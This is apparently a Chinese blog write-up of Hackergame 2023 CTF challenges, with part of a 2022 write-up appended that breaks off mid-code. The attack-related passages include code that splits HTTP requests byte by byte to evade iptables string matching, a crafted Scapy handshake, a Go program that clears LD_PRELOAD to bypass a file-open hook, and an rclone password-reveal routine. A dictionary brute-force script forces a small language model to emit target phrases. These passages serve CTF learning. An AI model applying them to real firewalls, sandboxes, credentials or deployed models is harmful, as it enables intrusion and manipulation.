对照下flag{的索引我们可以推测：f：第三行索引52前（49-51）必缺少一个字符。且密文中没出现，那么它无关紧要，只需为占位符l：第二行推测证据+1a：第四行无法推测g：第五行索引108前（96-107）缺少一个字符。{：第四行索引74前（72,73）必缺少一个字符。且密文中没出现，那么它无关紧要，只需为占位符密文中涉及第一行的索引有1,17,13,3,5，那么第一行索引17后具体字符无关紧要密文中涉及第五行的索引有109,118,113，那么第五行索引109前具体字符无关紧要结合所有线索，我们的枚举级别大幅降低。可能性如下（🪐占位）n(n?)y(y?)m(m?)eh([he]?)1n(n?)iw(w?)em(m?)f(f?)l(l?)c(c?)ir([re]?)}echaet a3g7}kidgojernoetlsup?he u🪐lw!f5soadrhwnrsnstnoeq 🪐ct{l-findiehaai{oveatas (🪐?)ty9kxborszstguyd?!blm-p(🪐?)第三四行尝试添加一个占位符后打印得到flau{you-vepr3cover3d-7hepan5w3r-r1ght!}，发现可能关键词cover3d，r1ght。第五行尝试添加一个占位符后打印得到flag{you-ve-r3cover3d-7he-an5w3r-r1ght?}，得到flag。最终code_dict如下：code_dict = [] code_dict += ['nymeh1niwemflcir}echaet🪐'] code_dict += ['a3g7}kidgojernoetlsup?he'] code_dict += ['ul🪐w!f5soadrhwnrsnstnoeq'] code_dict += ['c🪐t{l-findiehaai{oveatas'] code_dict += ['🪐ty9kxborszstguyd?!blm-p']flag{you-ve-r3cover3d-7he-an5w3r-r1ght?}🪐 高频率星球茫茫星系间，文明被分为不同的等级。每一个文明中都蕴藏了一种古老的力量 —— flag，被认为是其智慧的象征。你在探索的过程中意外进入了一个封闭空间。这是一个由神秘的高频率星人控制着的星球。星球的中心竖立着一个巨大的三角形任务牌，上面刻着密文和挑战。高频率星人的视觉输入频率极高，可以一目千行、过目不忘，他们的交流对地球人来说过于超前了。flag 被藏在了这段代码中，但是现在只有高频率星人在终端浏览代码的时候，使用 asciinema 录制的文件了，你能从中还原出代码吗？打开/下载题目题目已给出录像程序，可以看到其提供一个cat方法。cat Print full output of recorded asciicast to a terminal.执行asciinema cat ./asciinema_restore.rec > output.txt即可将录像存为文本。接下来只需清除掉ASCII控制字符即可食用，可以简单手动全局替换为空。flag{y0u_cAn_ReSTorE_C0de_fr0m_asc11nema_3db2da1063300e5dabf826e40ffd016101458df23a371}🪐 小型大语言模型星球茫茫星系间，文明被分为不同的等级。每一个文明中都蕴藏了一种古老的力量 —— flag，被认为是其智慧的象征。你在探索的过程中意外进入了一个封闭空间。这是一个由神秘的 33M 参数的「小型大语言模型」控制着的星球。星球的中心竖立着一个巨大的三角形任务牌，上面刻着密文和挑战。在这个星球上，你需要与这个先进的语言模型展开一场交流。通过与它对话，诱导它说出指定的词语，从这个神秘智慧体中获得 flag。你需要让这个语言模型分别说出 you are smart，accepted，hackergame 和 🐮，以获得四个 flag，证明你足够聪明以控制这个星球的命运。题目信息如果本地运行遇到网络问题，可使用 TinyStories-33M.zip 中缓存的模型参数（约 244 MB，未做任何修改），并将代码中的：from_pretrained("roneneldan/TinyStories-33M")改为本地的：from_pretrained("./TinyStories-33M")这题就很玄学，多尝试想办法触发关键词。You Are Smart直接问Am I smart试试enough to do that, Mommy?"Her mom smiled and said, "Yes, you are very smart. You can do再问Am I smart no very?"The little girl smiled and said, "Yes, you are smart! You can do it!"The little girl was so happy👏👏👏 flag1: flag{!-7hINk-Y0U-Ar3-R3a!!y-RE@!1y-SMaRt} 👏👏👏Accepted试了下很多可能回复Accepted相关的单词Challenge， Terms，Offer，Contract等等都不行。没什么头绪了，既然题干要求消息长度不超过 7那么转而试试爆破吧。先本地跑起模型，然后找到个能用的英文词库 GitHub - dwyl/english-words: :memo: A text file containing 479k English words for all your dictionary/word-based projects e.g: auto-completion / autosuggestion ，筛选出来其中少于或等于7个字符的单词进行爆破。import json import sys from gradio_client import Clientclient = Client("http://127.0.0.1:7860/")def check_response(message, response):response = response.strip().lower() if "flag2" in response or "flag3" in response or "flag4" in response: print("\n\n") print("Found flag in response") print("Message: ", message) print("Response: ", response) sys.exit(0) if name == '__main__':words = json.load(open('words_dictionary.json')) words_less_than_7 = [] for key in words: if len(key) <= 7: words_less_than_7.append(key) SKIP_TO = 1 size = len(words_less_than_7) idx = 1 for key in words_less_than_7: if idx < SKIP_TO: idx += 1 continue result = client.predict( key, # str in 'Message' Textbox component api_name="/chat" ) print(f'{idx}/{size} Trying word: {key}') print(result) check_response(key, result) print('\n\n') idx += 1 跑到`16505/97557 Trying word: chiasmi`时得到flag。 > accepted the invitation and they both went to the party. > > At the party, they had lots of fun. They played games, ate cake and > 🎉🎉🎉 flag2: `flag{you-arE-4cCePTed-7O-CoN7!Nu3-7hE-gaMe}` 🎉🎉🎉 flag1：`flag{!-7hINk-Y0U-Ar3-R3a!!y-RE@!1y-SMaRt}` flag2：`flag{you-arE-4cCePTed-7O-CoN7!Nu3-7hE-gaMe}` #### 🪐 流式星球 > 茫茫星系间，文明被分为不同的等级。每一个文明中都蕴藏了一种古老的力量 —— flag，被认为是其智慧的象征。 > > 你在探索的过程中意外进入了一个封闭空间。这是一个由神秘的流式星人控制着的星球。星球的中心竖立着一个巨大的三角形任务牌，上面刻着密文和挑战。 > > 流式星人用流式数据交流，比如对于视频来说，他们不需要同时纵览整个画面，而是直接使用像素流。为了方便理解，你把这个过程写成了一个 Python 脚本（见附件），flag 就藏在这个视频（见附件）中。尽管最后丢掉了一部分数据，你能把 flag 还原出来吗？ > > **[Python 脚本](https://github.com/USTC-Hackergame/hackergame2023-writeups/blob/master/official/🪐 流式星球/src/create_video.py)** > > **[视频像素流文件](https://ftp.lug.ustc.edu.cn/~rtxux/0bd1f9a2-ccab-449c-b95c-af57f7ebc91e/video.bin)** 看代码发现是读取视频帧数据并拍扁保存起来。查询[python - How each video frame captured is represented in Opencv? - Stack Overflow](https://stackoverflow.com/questions/39614825/how-each-video-frame-captured-is-represented-in-opencv)得知opencv读取到的每帧数据格式为从左到右，从上到下一行行像素的BGR值。全拍扁成一行符合题意。那么题目的难点就是如何知道视频的帧数及分辨率。 一般视频的前后两帧差距不会太大，想碰碰运气，直接hex编辑器打开文件。选了比较显眼的240Bytes作为关键词搜索。![video_stream](https://blog.hoshi.tech/usr/uploads/2023/11/3068016258.png) 发现后面出现这些关键词处为2121、3402、4683，相差1281。出现这种结果的原因很可能是几行像素非常相似。那么猜测视频的长就是1280，直接盲猜宽为720。 with open("video.bin", "rb") as output:buffer = np.fromfile(output, dtype=np.uint8) file_size = buffer.nbytes width = 1280 height = 720 frame = buffer[:width * height] # 错误的，缺少了颜色信息 frame = frame.reshape((height, width)) # 错误的，缺少了颜色信息 image = Image.fromarray(frame) plt.figure("test") plt.imshow(image) plt.show() 取一帧看下发现虽然歪了但是能看就懒得管了。接着把宽放到1280可以看到图片中间偏下附近有两条分界线。 保存图片后用编辑器打开可以看到竖向分界线的位置是760，即为宽。 接着导出所有图片帧即可看到flag。 ![video_stream_flag](https://blog.hoshi.tech/usr/uploads/2023/11/1091181952.png) 做完写博客才反应过来导出的图片少了颜色信息（ 结果我太菜加上颜色信息图片瞬间变小，反而看不清flag了，懒得花时间研究了（ `flag{it-could-be-easy-to-restore-video-with-haruhikage-even-without-metadata-0F7968CC}` #### 🪐 低带宽星球 > 茫茫星系间，文明被分为不同的等级。每一个文明中都蕴藏了一种古老的力量 —— flag，被认为是其智慧的象征。 > > 你在探索的过程中意外进入了一个封闭空间。这是一个由神秘的低带宽星人控制着的星球。星球的中心竖立着一个巨大的三角形任务牌，上面刻着密文和挑战。 > > 低带宽星人的通信速度很低，只能以 1 字节 / 天的速度接受信息，所以在这个星球上，你需要将一张图片用很少的字节数传输给低带宽星人，然后获得 flag。具体来说你需要将一张图片无损压缩（每个像素的颜色都一致）： > > - 压缩至 2KiB (2048 字节) 及以下，获得 flag1； > - 压缩至 50 字节及以下，获得 flag2。 > > [题目后端环境下载（Dockerfile 与脚本）](https://github.com/USTC-Hackergame/hackergame2023-writeups/blob/master/official/🪐 低带宽星球/files/image-compressor-backend.zip) 嗯......要压缩图片，可能需要了解各种图片格式的构成。完全没有相关知识，搜索一下看有没有现成的轮子。 ##### 小试牛刀 GitHub上搜到了很多很多压缩工具，试了几个。 - 这个就可以[GitHub - ace-dent/pngslim: Optimize png files – when every byte counts!](https://github.com/ace-dent/pngslim) - 这个也可以[GitHub - Lymphatus/caesium-clt: Caesium Command Line Tools - Lossy/lossless image compression tool](https://github.com/Lymphatus/caesium-clt) `flag{A1ot0f_t0015_is_available_to_compre55_PNG}` #### Komm, süsser Flagge > > Now the flag is all mine > > Can't live without the trust from ip tables > > 小 Z 写好了一个 flag 服务器，但是他不想让 flag 被轻易地获取，于是他在服务器上设置了一些防火墙规则。如果你的流量不幸被匹配上了，那么你的连接就会被切断。 > > 尽管如此，聪明的小 Q 还是找到办法绕过了精心设计的规则，并偷走了小 Z 的 flag。 > > ------ > > 小 Z 部署的 iptables 规则如下： > > ``` > *filter > :INPUT ACCEPT [0:0] > :OUTPUT ACCEPT [0:0] > :FORWARD DROP [0:0] > :myTCP-1 - [0:0] > :myTCP-2 - [0:0] > :myTCP-3 - [0:0] > -A INPUT -p tcp --dport 18080 -j myTCP-1 > -A INPUT -p tcp --dport 18081 -j myTCP-2 > -A INPUT -p tcp --dport 18082 -j myTCP-3 > > -A myTCP-1 -p tcp -m string --algo bm --string "POST" -j REJECT --reject-with tcp-reset > > -A myTCP-2 -p tcp -m u32 --u32 "0 >> 22 & 0x3C @ 12 >> 26 @ 0 >> 24 = 0x50" -j REJECT --reject-with tcp-reset > > -A myTCP-3 -p tcp -m string --algo bm --from 0 --to 50 --string "GET / HTTP" -j ACCEPT > -A myTCP-3 -p tcp -j REJECT --reject-with tcp-reset > COMMIT > ``` > > 所有小题都需要 POST 你的 token 到 `/`，获取 flag，在**没有以上规则**的情况下，可以直接使用 `curl` 获取 flag（需要将 `114514:asdfgh==` 替换成你的 token）： > > ``` > curl -X POST -d "114514:asdfgh==" http://题目地址 > ``` > > 其中： > > - 第一小题位于 [http://202.38.93.111:18080](http://202.38.93.111:18080/)，对应防火墙规则中的 `myTCP-1` 链； > > - 第二小题位于 [http://202.38.93.111:18081](http://202.38.93.111:18081/)，对应防火墙规则中的 `myTCP-2` 链； > > - 第三小题位于http://202.38.93.111:18082，对应防火墙规则中的 `myTCP-3`链。 > > - 注意：第三小问的链接可能无法直接在浏览器中打开，这是预期行为。 > > **某些网络环境下本题可能无法正常解出，你可以使用下面提供的 OpenVPN，并将上面的 IP 地址替换为 `192.168.23.1` 尝试解题，端口号不变。** > > - [OpenVPN 配置文件](https://hack.lug.ustc.edu.cn/media/4e97494e-3937-5248-a2fe-69978d94d2cf/hg-guest.ovpn) > > 点击下方的「打开/下载题目」按钮，下载附件。附件可以用于在 Docker 中复现题目的防火墙环境，其中 `main.go` 并非题目核心内容，仅供参考和测试，与实际运行的程序有所不同。 > > **[打开/下载题目](https://github.com/USTC-Hackergame/hackergame2023-writeups/blob/master/official/Komm%2C süsser Flagge/files/iptables-flag.tar.gz)** ##### 我的 POST 看到`iptables`里的匹配是对TCP数据包进行完整的`POST`字符串匹配，直觉想是不是可以编码替换，或者拆分数据包。 包装好的HTTP库可能不够用，找了找用Python有用TCP实现HTTP协议的现有轮子[700行代码, 用python实现一个HTTP客户端 - 终末之冬 - 博客园 (cnblogs.com)](https://www.cnblogs.com/q1214367903/p/13531859.html)，也许可以自定义。 问了下ChatGPT说是确实可以用`Packet Fragmentation`，搜了搜工具有个`fragroute`，但看了看完全不会用。 后面找到了`Scapy`，很强大，可以各种自定义包发送。但它太强大了，不适合我的段位，学了半天用不会。 兜兜转转还是回到上面的Python轮子。修改`HTTPConnection`里的`send`方法： def send(self, data: bytes) -> None:if self.sock is None: self.connect() # self.sock.sendall(data) for b in data: # 一个字节一个字节发包 self.sock.sendall(bytes([b])) 请求代码： from client import HTTPConnectiondest = "202.38.93.111"port = 18080def fetch(conn: HTTPConnection, url: str = '/') -> None:body = "TOKEN" conn.request('POST', url, body=body) res = conn.get_response() print(res.read()) connection = HTTPConnection(dest, port)fetch(connection) `flag{ea5Y_sPl1tt3r_358275d832}` ##### 我的 P 这个规则看不懂，搜了下感觉很高大上 [我所理解的 iptables u32 匹配 - imlonghao](https://imlonghao.com/30.html) 是字节级的匹配工具。结合题目的提示，这应该是匹配了`P`。 上面的代码还是可以用，换端口跑下得到答案。 `flag{r3s3rv3d_bYtes_2aa84066c7}` ##### 我的 GET 这题还是研究了`scapy`好久，但没解出来，不过成功完成了HTTP的三次握手。`IP`协议20字节+`TCP`最小20字节+`GET / HTTP`的10字节刚好50字节。在`iptables`的匹配范围内。 在 [Simple Scapy TCP Session (github.com)](https://gist.github.com/N0dr4x/ffe99618a738978605719ce525a33042) 这个基础上简单修改，在`connect()`方法中组装协议时加上`GET / HTTP`即可。 def connect(self):self.seq = random.randrange(0, (2 ** 32) - 1) syn = self.ip / TCP(sport=self.sport, dport=self.dport, seq=self.seq, flags='S') / "GET / HTTP" syn_ack = sr1(syn, timeout=self._timeout) self.seq += 1 assert syn_ack.haslayer(TCP), 'TCP layer missing' assert syn_ack[TCP].flags & 0x12 == 0x12, 'No SYN/ACK flags' assert syn_ack[TCP].ack == self.seq, 'Acknowledgment number error' self.ack = syn_ack[TCP].seq + 1 ack = self.ip / TCP(sport=self.sport, dport=self.dport, seq=self.seq, flags='A', ack=self.ack) / "GET / HTTP" send(ack) self.connected = True self._start_ackThread() print('Connected') 不过没有研究出来如何使用`POST`方法请求。最开始尝试了[HTTP Verb Tunnelling](https://fanoframework.github.io/security/http-verb-tunnelling/)没有用。 然后试了 [apache - HTTP pipelining request text example - Stack Overflow](https://stackoverflow.com/questions/19619124/http-pipelining-request-text-example) 也不行，看了下服务器源码特意关闭了`Keep-Alive`。 最后尝试设置了`TCP`头中的`Header Length / Data Position`字段将`payload`指向`GET / HTTP`之后写`POST`不知为何会触发`400`，试了好久搁置。 #### 为什么要打开 /flag 😡 > > 至少见一面让我当面道歉好吗？😭我也吓了一跳，没想到事情会演变成那个样子……😭所以我想好好说明一下😭我要是知道就会阻止它们的，但是明明文件描述符都已经关闭了突然间开始 `open()`😭没能阻止大家真是对不起……😭你在生气对吧……😭我想你生气也是当然的😭但是请你相信我。`/flag`，本来没有在我们的预定打开的文件里的😭真的很对不起😭我答应你再也不会随意打开文件了😭我会让各个函数保证再也不打开这个文件😭能不能稍微谈一谈？😭我真的把这里的一切看得非常重要😭所以说，擅自打开 `/flag` 的时候我和你一样难过😭我希望你能明白我的心情😭拜托了。我哪里都会去的😭我也会好好跟你说明我不得不这么做的理由😭我想如果你能见我一面，你就一定能明白的😭我是你的同伴😭我好想见你😭 > > ------ > > 挽留失败后，她决定在程序启动时做些手脚，让所有访问 `/flag` 的请求都以某种方式变成打开 `/fakeflag` 的请求。 > > 「我不会再打开 `/flag` 了」。真的吗？ > > [题目附件下载](https://github.com/USTC-Hackergame/hackergame2023-writeups/blob/master/official/%E4%B8%BA%E4%BB%80%E4%B9%88%E8%A6%81%E6%89%93%E5%BC%80%20flag%20%F0%9F%98%A1/files/fakeflag-backend.zip)（第二小题需要 Linux kernel >= 5.9） Binary的题目没有基础了，不过小题的题目给了解题思路提示。 ##### LD_PRELOAD, love! 搜索`LD_PRELOAD ctf`得知 > **LD_PRELOAD**是Linux系统的一个环境变量，用于动态库的加载，动态库加载的优先级最高,即加载动态库时先加载LD_PRLOAD，它可以影响程序的运行时的链接（Runtime linker）。**LD_PRELOAD的功能主要就是用来有选择性的载入不同动态链接库中的相同函数**。通过这个环境变量，我们可以在主程序和其动态链接库的中间加载别的动态链接库，甚至覆盖正常的函数库。 通过题目给出的`server.py`if STAGE == "1":output = subprocess.run( ["/dev/shm/executable"], stdin=subprocess.DEVNULL, stdout=subprocess.PIPE, stderr=subprocess.PIPE, user="nobody", group="nogroup", env={ "LD_PRELOAD": "/stage1.so" } ) 可以看到`LD_PRELOAD`是设在环境变量里了，那想办法清掉这个环境变量即可。 由于没有`C`语言基础，这里用`Go`写了个： package mainimport ("fmt" "os" "os/exec" "strings")func main() {env := os.Environ() // check if LD_PRELOAD is set isSet := false for _, v := range env { if strings.Contains(v, "LD_PRELOAD") { fmt.Println("LD_PRELOAD is set") isSet = true err := os.Unsetenv("LD_PRELOAD") if err != nil { panic(err) } out, err := exec.Command("/dev/shm/executable").Output() if err != nil { panic(err) } fmt.Println(string(out)) break } } if !isSet { file, err := os.ReadFile("/flag") if err != nil { panic(err) } content := string(file) fmt.Println(content) }} 运行得到flag > 运行结果 > > ``` > Return code: 0 > stdout (标准输出，前 8192 个字节): > LD_PRELOAD is set > flag{nande_ld_preload_yattano_5fb24fb653} > > > > stderr (标准错误，前 8192 个字节): > ``` `flag{nande_ld_preload_yattano_5fb24fb653}` #### 异星歧途 > 你降落在荒废星球的角落，开始新的征程，但从科技树底层一步步发展总是令人不快。幸运的是，在看似荒废的土地上仍然留存着高级文明的痕迹：你找到一台冲击反应堆——如果它工作起来，就可以获得用之不尽的电力——尽管它现在没有启动，并且控制工作条件的部件和工厂被 32 个按钮和相连的逻辑系统牢牢掌控。 > > 于是：你的任务是在不进行任何其他操作的情况下拨动这 32 个按钮，使冲击反应堆能够**稳定运行**。 > > 请点击下方的「打开/下载题目」按钮，下载题目文件。题目文件对应的 Mindustry 版本为 [7.0 Build 146](https://anuke.itch.io/mindustry)。打开游戏后依次选择 **地图编辑器—加载地图—选择题目文件 `the_planet.msav` —返回主菜单**，然后选择 **开始游戏—自定义游戏—选择导入的名为 the planet 的地图—不改变任何选项点击开始游戏** 。 > > 将正确的按钮序列以 01 序列的形式提交至 [检查网站](http://202.38.93.111:10070/?) 或 `nc 202.38.93.111 10071` 获得 flag。按钮未按下（即游戏开始时默认状态）用 0 表示，按下（即点击按钮后按钮颜色变亮）用 1 表示，顺序从左到右。 > > 提示：在游戏主菜单选择 **设置—图形—显示建筑状态** 可以开启建筑状态显示（即图片中建筑右下角的菱形），这可能有助于解题。 > > 提示：为了完成目标，你可能需要以特定的顺序拨动这些按钮，但这不影响结果：只有唯一一组按钮组合能满足要求。如果在满足要求后再次改变按钮，冲击反应堆可能会继续运行一段时间，但会在 1-3 分钟后停止，不可能**稳定运行**。 > > **[打开/下载题目](https://github.com/USTC-Hackergame/hackergame2023-writeups/blob/master/official/异星歧途/files/the_planet.msav)** 没玩过这游戏，刚打开这题一脸懵逼，查了下发现是要点击逻辑处理器查看连接的开关以及编写的逻辑。 鼠标指向冲击反应堆按F1查看信息，它稳定运行需要每秒1单位爆炸混合物和15单位冷却液。而周围的设备全启动就供应的上了。 逻辑分析： ##### 第一组 很简单，这组就是为了让我们熟悉开关和逻辑处理器的的作用。 如果任何一个开关位置满足条件，跳到18执行设置发电厂为关闭。 0 sensor s1 switch1 @enabled1 sensor s2 switch2 @enabled2 sensor s3 switch3 @enabled3 sensor s4 switch4 @enabled4 sensor s5 switch5 @enabled5 sensor s6 switch6 @enabled6 sensor s7 switch7 @enabled7 sensor s8 switch8 @enabled8 jump 18 equal s1 false9 jump 18 equal s2 true10 jump 18 equal s3 false11 jump 18 equal s4 true12 jump 18 equal s5 true13 jump 18 equal s6 false14 jump 18 equal s7 true15 jump 18 equal s8 false16 control enabled generator1 1 0 0 017 end18 control enabled generator1 0 0 0 019 end 8个开关条件判断分别是`0,1,0,1,1,0,1,0`，那么开关需要设置为相反，即为`1,0,1,0,0,1,0,1`。 ##### 第二组 这组包括了循环，目标是让太阳能板和发电机同时启动。 0 sensor sw1 switch1 @enabled1 sensor sw2 switch2 @enabled2 sensor sw3 switch3 @enabled3 sensor sw4 switch4 @enabled4 sensor sw5 switch5 @enabled5 sensor sw6 switch6 @enabled6 sensor sw7 switch7 @enabled7 sensor sw8 switch8 @enabled8 op shl t sw1 79 set number t10 op shl t sw2 611 op add number number t12 op shl t sw3 513 op add number number t14 op shl t sw4 415 op add number number t16 op shl t sw5 317 op add number number t18 op shl t sw6 219 op add number number t20 op shl t sw7 121 op add number number t22 set t sw823 op add number number t24 set en 025 set i 026 jump 33 greaterThanEq i 1627 op pow fl0 i 228 jump 31 notEqual fl0 number29 set en 130 jump 33 always x false31 op add i i 132 jump 26 always x false33 op equal fl1 0 sw134 op equal fl2 0 sw635 op or fl3 fl1 fl236 jump 38 equal fl3 037 set en 038 control enabled generator1 en 0 0 039 control enabled panel1 en 0 0 040 end 抄一下这个逻辑然后遍历得到答案： package mainimport "fmt"func group2(sw1 int, sw2 int, sw3 int, sw4 int, sw5 int, sw6 int, sw7 int, sw8 int) bool {//sw1, sw2, sw3, sw4, sw5, sw6, sw7, sw8 := 0, 0, 0, 0, 0, 0, 0, 0 number := sw1<<7 + sw2<<6 + sw3<<5 + sw4<<4 + sw5<<3 + sw6<<2 + sw7<<1 + sw8 en := 0 i := 0 fl0 := 0 Label26:if i >= 16 { goto Label33 } fl0 = i * i if fl0 != number { goto Label31 } en = 1 goto Label33 Label31:i = i + 1 goto Label26 Label33:fl1 := sw1 fl2 := sw6 fl3 := (fl1 == 0) || (fl2 == 0) if fl3 == false { goto Label38 } en = 0 Label38:return en == 1}func main() {fmt.Println("Hello, World!") for sw1 := 0; sw1 <= 1; sw1++ { for sw2 := 0; sw2 <= 1; sw2++ { for sw3 := 0; sw3 <= 1; sw3++ { for sw4 := 0; sw4 <= 1; sw4++ { for sw5 := 0; sw5 <= 1; sw5++ { for sw6 := 0; sw6 <= 1; sw6++ { for sw7 := 0; sw7 <= 1; sw7++ { for sw8 := 0; sw8 <= 1; sw8++ { group2Result := group2(sw1, sw2, sw3, sw4, sw5, sw6, sw7, sw8) if group2Result { fmt.Printf("group2(%d, %d, %d, %d, %d, %d, %d, %d) is true\n", sw1, sw2, sw3, sw4, sw5, sw6, sw7, sw8) } } } } } } } } }} 结果为`1,1,0,0,0,1,0,0` ##### 第三组 0 sensor sw1 switch1 @enabled1 sensor sw2 switch2 @enabled2 sensor sw3 switch3 @enabled3 sensor sw4 switch4 @enabled4 sensor sw5 switch5 @enabled5 sensor sw6 switch6 @enabled6 sensor sw7 switch7 @enabled7 sensor sw8 switch8 @enabled8 sensor sw9 switch9 @enabled9 control enabled conveyor2 sw1 0 0 010 control enabled gate1 sw2 0 0 011 op equal nsw3 sw3 012 control enabled reactor1 nsw3 0 0 013 control enabled reactor2 nsw3 0 0 014 control enabled conduit1 sw4 0 0 015 control enabled conduit2 sw4 0 0 016 control enabled mixer1 sw5 0 0 017 control enabled extractor1 sw6 0 0 018 control enabled meltdown1 sw7 0 0 019 control enabled meltdown2 sw7 0 0 020 op equal result sw8 sw921 jump 28 equal result true22 control enabled mixer1 0 0 0 023 control enabled conduit2 1 0 0 024 control enabled reactor1 1 0 0 025 control enabled reactor2 1 0 0 026 control enabled conveyor2 1 0 0 027 wait 528 end `sw1`开`conveyor2`传送带供料至`reactor1`。 `sw2`开`gate1`反向溢流门控制供料至`mixer1`。 `sw3`取反开`reactor1`, `reactor2`反应堆，可以先打开开关，关闭两个反应堆避免点错爆炸。 `sw4`控制`conduit1`，`conduit2`液体传送带，如果开起会漏冷冻液，导致爆炸。 `sw5`控制`mixer1`冷冻液混合器生产冷冻液。 `sw6`控制`extractor1`抽水机抽水供料至冷冻液混合器。 `sw7`控制`meltdown1`,`meltdown2`两个炮台。 `sw8`和`sw9`对比，如果不相等，开起一堆设备，如果没有准备好，就一键爆炸。 那么正确的组合是`1,0,0,0,1,1,0,0` ##### 第四组 这题...不好描述...倒着来接比较简单。懂了焚烧炉和反向溢流门原理就能明白了。核心思路就是倒着来保证后面的节点启用。 正确组合是`0,1,1,1,0,1,1,1`。 全解完后答案为`10100101110001001000110001110111` `flag{B34WarE_0f_#xp1osi0N_58c34b6b19}` ## 0x2 尾巴 没想到结束时间不是周末过晚而是周六中午十二点，时间管理失策了，本来还想再凹凹（呜呜呜 今年差一点能进榜单了，如果明年还有时间再接再厉。 最后排名： ![final_rank](https://blog.hoshi.tech/usr/uploads/2023/11/4106537422.png)
0x0 背景弃坑Arcaea一年多了，周六还是偶然打开某arc群时还是发现几个大佬在发 Hackergame 2021排名截图。真巧，今年也来玩一玩。不过现在变身成为打工人后空闲时间只顾着咸鱼了，花了一上午挑了一些简单的题目做完后直接摆烂了......0x1 题目签到众所周知本题应该不难，上来是需要在限定时间内手写2022并通过识别后提交。打开HTML源码看到是Vue写的，第一时间就是修改时间限制。但往下翻翻发现提交函数直接拼接了识别结果。果然还是想难了.....随便提交一个结果后将传参改为?result=2022即可。flag{HappyHacking2022-1a3d895fa6}猫咪问答 Pro Max参考历年题目，考察信息搜索能力。中国科学技术大学 NEBULA 战队（USTC NEBULA）是于何时成立的喵？直接Google搜索USTC NEBULA成立时间得知为2017-03。2022 年 9 月，中国科学技术大学学生 Linux 用户协会（LUG @ USTC）在科大校内承办了软件自由日活动。除了专注于自由撸猫的主会场之外，还有一些和技术相关的分会场（如闪电演讲 Lightning Talk）。其中在第一个闪电演讲主题里，主讲人于 slides 中展示了一张在 GNOME Wayland 下使用 Wayland 后端会出现显示问题的 KDE 程序截图，请问这个 KDE 程序的名字是什么？Google LUG @ USTC GNOME Wayland 可找到并下载Slides，截图在第15页，注意一条菜单项叫Configure Kdenlive，那程序名就很明显了。22 年坚持，小 C 仍然使用着一台他从小用到大的 Windows 2000 计算机。那么，在不变更系统配置和程序代码的前提下，Firefox 浏览器能在 Windows 2000 下运行的最后一个大版本号是多少？Google Windows 2000可得12你知道 PwnKit（CVE-2021-4034）喵？据可靠谣传，出题组的某位同学本来想出这样一道类似的题，但是发现 Linux 内核更新之后居然不再允许 argc 为 0 了喵！那么，请找出在 Linux 内核 master 分支（torvalds/linux.git）下，首个变动此行为的 commit 的 hash 吧喵！找到此仓库torvalds/linux: Linux kernel source tree (github.com)并搜索CVE-2021-4034可得dcd46d897adb70d63e025f175a00a89797d31a43通过监视猫咪在键盘上看似乱踩的故意行为，不出所料发现其秘密连上了一个 ssh 服务器，终端显示 ED25519 key fingerprint is MD5:e4:ff:65:d7:be:5d:c8:44:1d:89:6b:50:f5:50:a0:ce.，你知道猫咪在连接什么域名吗？直接GoogleMD5:e4:ff:65:d7:be:5d:c8:44:1d:89:6b:50:f5:50:a0:ce可以在第二页找到ssh.log — Book of Zeek (git/master)此页面。在#outbound-movement中可发现连接的IP地址为205.166.94.16。直接访问看邮箱域名可得sdf.org。中国科学技术大学可以出校访问国内国际网络从而允许云撸猫的“网络通”定价为 20 元一个月是从哪一天正式实行的？Google中国科学技术大学 网络通 20元可以找到关于实行新的网络费用分担办法的通知-中国科学技术大学 (ustc.edu.cn)此页面。得知旧的费用分担办法已经为20元一个月。使用关键词网络费用分担办法的通知 2003年在Google没搜到结果，百度居然给了结果关于实行新的网络费用分担办法的通知 (ustc.edu.cn)。由文件可知2003-03-01flag1：flag{meowexammeow_772b498346fe0925_1e02f422c8}flag2：flag{meowexamfullymeowed!_6c159adddb7f171b_8f2fb889d9}家目录里的秘密用过rclone，知道配置文件默认在.config下，翻了下发现Code也在这个目录，一顿翻找找到user\.config\Code\User\History\2f23f721\DUGV.c文件。这才知道原来VSCode有保存历史文件。然后想到直接全文检索flag其实更容易定位到......说回rclone，此前尝试写世纪互联版OneDrive的实现时有研究过rclone。知道rclone将明文密码”加密“后保存。这次打开配置文件后可以看出ftp的各种配置都没啥用，只有pass字段值的钻研下。rclone加密的方式在rclone/obscure.go at master · rclone/rclone (github.com)。最优解是调用此func Reveal(x string):package main import ( "crypto/aes" "crypto/cipher" "crypto/rand" "encoding/base64" "errors" "fmt" ) // crypt internals var ( cryptKey = []byte{ 0x9c, 0x93, 0x5b, 0x48, 0x73, 0x0a, 0x55, 0x4d, 0x6b, 0xfd, 0x7c, 0x63, 0xc8, 0x86, 0xa9, 0x2b, 0xd3, 0x90, 0x19, 0x8e, 0xb8, 0x12, 0x8a, 0xfb, 0xf4, 0xde, 0x16, 0x2b, 0x8b, 0x95, 0xf6, 0x38, } cryptBlock cipher.Block cryptRand = rand.Reader ) // crypt transforms in to out using iv under AES-CTR. // // in and out may be the same buffer. // // Note encryption and decryption are the same operation func crypt(out, in, iv []byte) error { if cryptBlock == nil { var err error cryptBlock, err = aes.NewCipher(cryptKey) if err != nil { return err } } stream := cipher.NewCTR(cryptBlock, iv) stream.XORKeyStream(out, in) return nil } // Reveal an obscured value func Reveal(x string) (string, error) { ciphertext, err := base64.RawURLEncoding.DecodeString(x) if err != nil { return "", fmt.Errorf("base64 decode failed when revealing password - is it obscured?: %w", err) } if len(ciphertext) < aes.BlockSize { return "", errors.New("input too short when revealing password - is it obscured?") } buf := ciphertext[aes.BlockSize:] iv := ciphertext[:aes.BlockSize] if err := crypt(buf, buf, iv); err != nil { return "", fmt.Errorf("decrypt failed when revealing password - is it obscured?: %w", err) } return string(buf), nil } func main() { out, _ := Reveal("tqqTq4tmQRDZ0sT_leJr7-WtCiHVXSMrVN49dWELPH1uce-5DPiuDtjBUN3EI38zvewgN5JaZqAirNnLlsQ") fmt.Println(out) }跑一下就得到了结果。整活解法：pip3 install pyftpdlib修改site-packages开启服务器python -m pyftpdlib -D成功打印出密码VSCode:flag{finding_everything_through_vscode_config_file_932rjdakd}Rclone: flag{get_rclone_password_from_config!_2oi3dz1}HeiLang来自 Heicore 社区的新一代编程语言 HeiLang，基于第三代大蟒蛇语言，但是抛弃了原有的难以理解的 | 运算，升级为了更加先进的语法，用 A[x | y | z] = t 来表示之前复杂的 A[x] = t; A[y] = t; A[z] = t。作为一个编程爱好者，我觉得实在是太酷了，很符合我对未来编程语言的想象，科技并带着趣味。这里描述很乐，根据描述的语法来修复代码即可。with open('getflag.hei.py', 'r') as f: lines = f.readlines() for i in range(0, len(lines)): if lines[i].startswith('a['): indexs = lines[i].split('[')[1].split(']')[0].split('|') result = 